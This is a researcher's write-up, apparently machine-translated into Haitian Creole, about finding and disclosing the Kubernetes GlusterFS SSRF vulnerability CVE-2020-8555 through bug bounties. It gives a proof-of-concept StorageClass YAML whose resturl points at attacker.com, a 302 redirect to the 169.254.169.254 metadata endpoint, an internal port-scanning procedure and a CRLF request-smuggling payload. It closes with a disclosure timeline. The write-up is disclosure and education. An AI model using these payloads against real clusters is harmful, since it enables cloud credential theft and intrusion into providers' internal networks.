Lè li pa sèlman sou vilnerabilite Kubernetes...

Remak. trad.: otè yo nan atik sa a pale an detay sou fason yo jere yo dekouvri vilnerabilite a CVE-2020–8555 nan Kubernetes. Malgre ke okòmansman li pa t 'sanble trè danjere, an konbinezon ak lòt faktè kritik li yo te tounen maksimòm pou kèk founisè nwaj. Plizyè òganizasyon san gad dèyè rekonpanse espesyalis yo pou travay yo.

Lè li pa sèlman sou vilnerabilite Kubernetes...

Kiyès nou ye

Nou se de chèchè sekirite franse ki te dekouvri ansanm yon vilnerabilite nan Kubernetes. Non nou se Brice Augras ak Christophe Hauquiert, men sou anpil platfòm Bug Bounty nou rele Reeverzax ak Hach respektivman:

Sak pase

Atik sa a se fason nou pataje ki jan yon pwojè rechèch òdinè tounen san atann nan avanti ki pi enteresan nan lavi chasè ensèk (omwen pou kounye a).

Kòm pwobableman ou konnen, chasè ensèk gen yon koup nan karakteristik remakab:

  • yo ap viv sou pitza ak byè;
  • yo travay lè tout lòt moun ap dòmi.

Nou pa gen okenn eksepsyon nan règ sa yo: anjeneral nou rankontre nan wikenn epi pase nwit san dòmi pirate. Men, youn nan nwit sa yo te fini nan yon fason trè etranj.

Okòmansman nou te pral rankontre pou diskite sou patisipasyon nan CTF jou kap vini an. Pandan yon konvèsasyon sou sekirite Kubernetes nan yon anviwònman sèvis jere, nou sonje ansyen lide SSRF (Fouyaj demann sèvè-bò) ak deside eseye sèvi ak li kòm yon script atak.

A 11 pm nou te chita pou nou fè rechèch nou epi nou te ale nan kabann bonè nan maten, trè satisfè ak rezilta yo. Se poutèt rechèch sa a nou te rankontre pwogram MSRC Bug Bounty epi nou te vini ak yon eksplwatasyon privilèj.

Plizyè semèn/mwa te pase, ak rezilta inatandi nou an te lakòz youn nan pi gwo rekonpans nan istwa Azure Cloud Bug Bounty - anplis de sa nou te resevwa nan men Kubernetes!

Ki baze sou pwojè rechèch nou an, Komite Sekirite Pwodwi Kubernetes pibliye CVE-2020–8555.

Koulye a, mwen ta renmen gaye enfòmasyon sou vilnerabilite yo jwenn otank posib. Nou espere ou apresye jwenn ak pataje detay teknik yo ak lòt manm nan kominote infosec la!

Se konsa, isit la se istwa nou an...

Kontèks

Pou fè plis sans nan sa ki te pase a, ann premye gade ki jan Kubernetes ap travay nan yon anviwònman jere nwaj.

Lè ou enstansye yon gwoup Kubernetes nan yon anviwònman konsa, kouch jesyon an anjeneral se responsablite founisè nwaj la:

Lè li pa sèlman sou vilnerabilite Kubernetes...
Kouch kontwòl la sitiye nan perimèt founisè nwaj la, pandan y ap nœuds Kubernetes yo sitiye nan perimèt kliyan an.

Pou distribye volim dinamik, yo itilize yon mekanis pou pwovizyon dinamik nan yon backend depo ekstèn epi konpare yo ak PVC (reklamasyon volim ki pèsistan, sa vle di yon demann pou yon volim).

Kidonk, apre yo fin kreye PVC a ak mare ak StorageClass nan gwoup K8s la, manadjè kontwolè kube/nwaj la pran plis aksyon pou bay volim (non egzak li depann de liberasyon an). (Remak. trad.: Nou te deja ekri plis sou CCM lè l sèvi avèk egzanp aplikasyon li pou youn nan founisè nwaj yo isit la.)

Gen plizyè kalite pwovizyon ki sipòte pa Kubernetes: pi fò nan yo enkli nan nwayo orchestrator, pandan ke lòt moun yo jere pa pwovizyon adisyonèl ke yo mete nan gous nan gwoup la.

Nan rechèch nou an, nou konsantre sou mekanis pwovizyon volim entèn, ki montre pi ba a:

Lè li pa sèlman sou vilnerabilite Kubernetes...
Pwovizyon dinamik nan volim lè l sèvi avèk pwovizyon Kubernetes entegre

Nan ti bout tan, lè Kubernetes deplwaye nan yon anviwònman jere, manadjè kontwolè a se responsablite founisè nwaj la, men demann pou kreyasyon volim (nimewo 3 nan dyagram ki anwo a) kite rezo entèn founisè nwaj la. Epi sa a se kote bagay yo vin reyèlman enteresan!

Hacking senaryo

Nan seksyon sa a, nou pral eksplike kijan nou te pran avantaj de workflow mansyone pi wo a epi jwenn aksè nan resous entèn founisè sèvis nwaj la. Li pral montre w tou ki jan ou ka fè sèten aksyon, tankou jwenn kalifikasyon entèn oswa ogmante privilèj.

Yon senp manipilasyon (nan ka sa a, Service Side Request Forgery) te ede ale pi lwen pase anviwònman kliyan an nan gwoup divès founisè sèvis anba jere K8s.

Nan rechèch nou an nou konsantre sou pwovizyon GlusterFS la. Malgre lefèt ke plis sekans aksyon yo dekri nan kontèks sa a, Quobyte, StorageOS ak ScaleIO yo sansib a menm vilnerabilite.

Lè li pa sèlman sou vilnerabilite Kubernetes...
Abi nan mekanis pwovizyon volim dinamik

Pandan analiz klas depo GlusterFS nan kòd sous kliyan Golang nou remakeki sou premye demann HTTP (3) voye pandan kreyasyon volim, nan fen URL la koutim nan paramèt la resturl se te ajoute /volumes.

Nou deside debarase m de chemen anplis sa a lè nou ajoute # nan paramèt resturl. Men premye konfigirasyon YAML nou te itilize pou teste yon vilnerabilite SSRF semi-avèg (ou ka li plis enfòmasyon sou SSRF semi-avèg oswa mwatye avèg, pou egzanp, isit la - approx. trad.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Lè sa a, nou te itilize binè a pou jere gwoup Kubernetes a adistans kubectl. Tipikman, founisè nwaj yo (Azure, Google, AWS, elatriye) pèmèt ou jwenn kalifikasyon pou itilize nan sèvis piblik sa a.

Mèsi a sa a, mwen te kapab sèvi ak fichye "espesyal" mwen an. Kube-controller-manager egzekite demann HTTP ki te lakòz:

kubectl create -f sc-poc.yaml

Lè li pa sèlman sou vilnerabilite Kubernetes...
Repons lan soti nan pwen de vi atakè a

Yon ti tan apre sa, nou te tou kapab resevwa yon repons HTTP nan sèvè a sib - atravè kòmandman yo describe pvc oswa get events nan kubectl. Ak tout bon: chofè Kubernetes default sa a twò prolib nan avètisman/mesaj erè li yo...

Isit la se yon egzanp ak yon lyen nan https://www.google.frmete kòm paramèt resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Lè li pa sèlman sou vilnerabilite Kubernetes...

Nan apwòch sa a, nou te limite a demann tankou HTTP POST epi yo pa t 'kapab jwenn sa ki nan kò a repons si kòd la retounen te 201. Se poutèt sa, nou deside fè rechèch adisyonèl ak elaji senaryo Hacking sa a ak nouvo apwòch.

Evolisyon rechèch nou an

  • Avanse Senaryo # 1: Sèvi ak yon redireksyon 302 ki soti nan yon sèvè ekstèn pou chanje metòd HTTP pou bay yon fason ki pi fleksib pou kolekte done entèn yo.
  • Avanse Senaryo #2: Otomatize analiz LAN ak dekouvèt resous entèn yo.
  • Avanse senaryo #3: itilize HTTP CRLF + kontrebann ("demann kontrebann") pou kreye demann HTTP pwepare epi rekipere done ki sòti nan mòso kube-kontwolè.

Espesifikasyon teknik

  • Rechèch la te itilize Azure Kubernetes Service (AKS) ak Kubernetes vèsyon 1.12 nan rejyon Nò Ewòp la.
  • Senaryo ki dekri pi wo a te egzekite sou dènye degaje Kubernetes, eksepsyon twazyèm senaryo a, paske li te bezwen Kubernetes bati ak Golang vèsyon ≤ 1.12.
  • Sèvè ekstèn atakè a - https://attacker.com.

Avanse Senaryo #1: Redireksyon yon demann HTTP POST pou GET epi resevwa done sansib

Metòd orijinal la te amelyore pa konfigirasyon sèvè atakè a pou retounen 302 HTTP Rekodpou konvèti yon demann POST nan yon demann GET (etap 4 nan dyagram nan):

Lè li pa sèlman sou vilnerabilite Kubernetes...

Premye demann (3) soti nan kliyan an GlusterFS (Manadjè Kontwolè), gen yon kalite POST. Lè nou swiv etap sa yo nou te kapab fè l tounen yon GET:

  • Kòm yon paramèt resturl nan StorageClass li endike http://attacker.com/redirect.php.
  • Finalman https://attacker.com/redirect.php reponn ak yon kòd estati 302 HTTP ak Header Kote sa a: http://169.254.169.254. Sa a ka nenpòt lòt resous entèn - nan ka sa a, se lyen an redireksyon itilize sèlman kòm yon egzanp.
  • Pa default net/http bibliyotèk Golang redireksyon demann lan epi konvèti POST la nan yon GET ak yon kòd estati 302, sa ki lakòz yon demann HTTP GET nan resous sib la.

Pou li kò repons HTTP ou bezwen fè describe Objè PVC:

kubectl describe pvc xxx

Men yon egzanp yon repons HTTP nan fòma JSON ke nou te kapab resevwa:

Lè li pa sèlman sou vilnerabilite Kubernetes...

Kapasite vilnerabilite yo te jwenn nan moman sa a te limite akòz pwen sa yo:

  • Enkapasite pou mete tèt HTTP nan demann sortan.
  • Enkapasite pou fè yon demann POST ak paramèt nan kò a (sa a se pratik pou mande valè kle a soti nan yon egzanp etcd kap kouri sou 2379 pò si yo itilize HTTP ki pa kode).
  • Enkapasite pou rekipere kontni kò repons lè kòd estati a te 200 epi repons lan pa t gen yon JSON Content-Type.

Avanse senaryo #2: Analyse rezo lokal la

Lè sa a, metòd SSRF mwatye avèg sa a te itilize pou eskane rezo entèn founisè nwaj la ak sondaj divès kalite sèvis koute (egzanp Metadata, Kubelet, etcd, elatriye) ki baze sou repons yo. kontwolè kube.

Lè li pa sèlman sou vilnerabilite Kubernetes...

Premyèman, yo te detèmine pò yo koute estanda nan konpozan Kubernetes (8443, 10250, 10251, elatriye), ak Lè sa a, nou te oblije otomatize pwosesis optik la.

Lè nou wè ke metòd sa a pou analize resous yo trè espesifik epi li pa konpatib ak eskanè klasik ak zouti SSRF, nou deside kreye travayè pwòp nou yo nan yon script bash ki otomatize tout pwosesis la.

Pou egzanp, yo nan lòd yo byen vit eskane seri a 172.16.0.0/12 nan rezo entèn la, 15 travayè yo te lanse nan paralèl. Yo chwazi ranje IP ki anwo a kòm yon egzanp sèlman epi yo ka sijè a chanje nan ranje IP founisè sèvis espesifik ou a.

Pou eskane yon adrès IP ak yon pò, ou bezwen fè bagay sa yo:

  • efase dènye StorageClass tcheke;
  • retire Reklamasyon Volim Persistent ki te verifye anvan an;
  • chanje IP ak valè pò yo nan sc.yaml;
  • kreye yon StorageClass ak yon nouvo IP ak pò;
  • kreye yon nouvo PVC;
  • ekstrè rezilta eskanè lè l sèvi avèk dekri pou PVC.

Senaryo avanse #3: CRLF piki + kontrebann HTTP nan "ansyen" vèsyon gwoup Kubernetes la

Si anplis de sa founisè a ofri kliyan ansyen vèsyon gwoup K8s la и te ba yo aksè nan mòso bwa kube-controller-manager a, efè a te vin menm plis enpòtan.

Li se vre pi bon pou yon atakè chanje demann HTTP ki fèt pou jwenn yon repons HTTP konplè selon diskresyon li.

Lè li pa sèlman sou vilnerabilite Kubernetes...

Pou aplike dènye senaryo a, kondisyon sa yo te dwe satisfè:

  • Itilizatè a dwe gen aksè a mòso kube-controller-manager (tankou, pou egzanp, nan Azure LogInsights).
  • Gwoup Kubernetes la dwe itilize yon vèsyon Golang ki pi ba pase 1.12.

Nou te deplwaye yon anviwònman lokal ki te simulation kominikasyon ant kliyan GlusterFS Go ak yon fo sèvè sib (nou pral evite pibliye PoC la pou kounye a).

Yo te jwenn vilnerabilite, ki afekte vèsyon Golang ki pi ba pase 1.12 epi ki pèmèt entru pote soti nan atak kontrebann HTTP / CRLF.

Lè w konbine SSRF mwatye avèg ki dekri pi wo a ansanm ak sa a, nou te kapab voye demann nan gou nou an, ki gen ladan ranplase headers, HTTP metòd, paramèt ak done, ki kube-controller-manager Lè sa a, trete.

Isit la se yon egzanp yon travay "garnier" nan yon paramèt resturl StorageClass, ki aplike yon senaryo atak menm jan an:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Rezilta a se yon erè repons pa mande, yon mesaj sou ki anrejistre nan mòso bwa kontwolè yo. Mèsi a verbosity pèmèt pa default, sa ki nan mesaj la repons HTTP yo tou sove la.

Lè li pa sèlman sou vilnerabilite Kubernetes...

Sa a se te "garnier" ki pi efikas nou an nan kad prèv konsèp.

Sèvi ak apwòch sa a, nou te kapab fè kèk nan atak sa yo sou gwoup divès founisè k8s jere: Eskalad privilèj ak kalifikasyon sou ka metadata, Mèt DoS atravè demann HTTP (ki pa kode) sou ka elatriye mèt, elatriye.

Konsekans

Nan deklarasyon ofisyèl Kubernetes konsènan vilnerabilite SSRF nou dekouvri, li te evalye CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Si nou konsidere sèlman vilnerabilite ki asosye ak perimèt Kubernetes, vektè entegrite a (vektè entegrite) li kalifye kòm Pa gen okenn.

Sepandan, evalye konsekans posib yo nan yon kontèks yon anviwònman sèvis jere (e sa a te pati ki pi enteresan nan rechèch nou an!) te pouse nou reklase vilnerabilite a nan yon evalyasyon. Kritik CVSS10/10 pou anpil distribitè.

Anba a gen plis enfòmasyon pou ede w konprann konsiderasyon nou lè n ap evalye enpak potansyèl yo nan anviwònman nwaj yo:

Entegrite

  • Egzekite kòmandman adistans lè l sèvi avèk akeri kalifikasyon entèn yo.
  • Repwodwi senaryo ki anwo a lè l sèvi avèk metòd IDOR (Insecure Direct Object Reference) ak lòt resous yo jwenn sou rezo lokal la.

Konfidansyalite

  • Kalite atak Mouvman lateral gras ak vòl kalifikasyon nwaj yo (pa egzanp, metadata API).
  • Kolekte enfòmasyon pa eskane rezo lokal la (detèmine vèsyon SSH, vèsyon sèvè HTTP, ...).
  • Kolekte enfòmasyon sou egzanp ak enfrastrikti pa sondaj API entèn tankou API metadata (http://169.254.169.254, ...).
  • Vòlè done kliyan lè l sèvi avèk kalifikasyon nwaj yo.

Disponibilite

Tout esplwate senaryo ki gen rapò ak vektè atak sou entegrite, yo ka itilize pou aksyon destriktif ak mennen nan ka mèt soti nan perimèt kliyan an (oswa nenpòt lòt) yo pa disponib.

Piske nou te nan yon anviwonman K8 jere epi n ap evalye enpak sou entegrite, nou ka imajine anpil senaryo ki ta ka afekte disponiblite. Egzanp adisyonèl yo enkli koripsyon baz done etcd la oswa fè yon apèl kritik nan API Kubernetes la.

Timeline

  • 6 desanm 2019: MSRC Bug Bounty rapòte vilnerabilite.
  • 3 janvye 2020: Yon twazyèm pati te enfòme devlopè Kubernetes ke nou t ap travay sou yon pwoblèm sekirite. Epi li mande yo pou yo konsidere SSRF kòm yon vilnerabilite entèn (nan nwayo). Lè sa a, nou te bay yon rapò jeneral ak detay teknik sou sous pwoblèm nan.
  • 15 janvye 2020: Nou te bay devlopè Kubernetes rapò teknik ak jeneral sou demann yo (via platfòm HackerOne).
  • 15 janvye 2020: Devlopè Kubernetes te fè nou konnen ke piki SSRF + CRLF mwatye avèg pou vèsyon ki sot pase yo konsidere kòm yon vilnerabilite nan nwayo. Nou imedyatman sispann analize perimèt lòt founisè sèvis yo: ekip K8s la te kounye a fè fas ak kòz rasin lan.
  • 15 janvye 2020: rekonpans MSRC resevwa atravè HackerOne.
  • 16 janvye 2020: Kubernetes PSC (Komite Sekirite Pwodui) te rekonèt vilnerabilite a epi li te mande pou kenbe l an sekrè jiska mitan mwa mas akòz gwo kantite viktim potansyèl yo.
  • 11 fevriye 2020: Google VRP rekonpans resevwa.
  • 4 mas 2020: rekonpans Kubernetes te resevwa atravè HackerOne.
  • 15 mas 2020: Divilgasyon piblik ki te pwograme orijinèlman ranvwaye akòz sitiyasyon COVID-19 la.
  • 1ye jen 2020: Deklarasyon konjwen Kubernetes + Microsoft sou vilnerabilite a.

TL; DR

  • Nou bwè byè epi nou manje pitza :)
  • Nou dekouvri yon vilnerabilite nan nwayo nan Kubernetes, byenke nou pa te gen okenn entansyon fè sa.
  • Nou te fè analiz adisyonèl sou gwoup diferan founisè nwaj yo epi nou te kapab ogmante domaj ki te koze pa vilnerabilite a pou resevwa bonis adisyonèl.
  • Ou pral jwenn anpil detay teknik nan atik sa a. Nou ta kontan diskite sou yo avèk ou (Twitter: @ReeverZax & @__hach_).
  • Li te tounen soti ke tout kalite fòmalite ak rapò te pran pi lontan pase espere.

Referans

PS soti nan tradiktè

Li tou sou blog nou an:

Sous: www.habr.com

Add nouvo kòmantè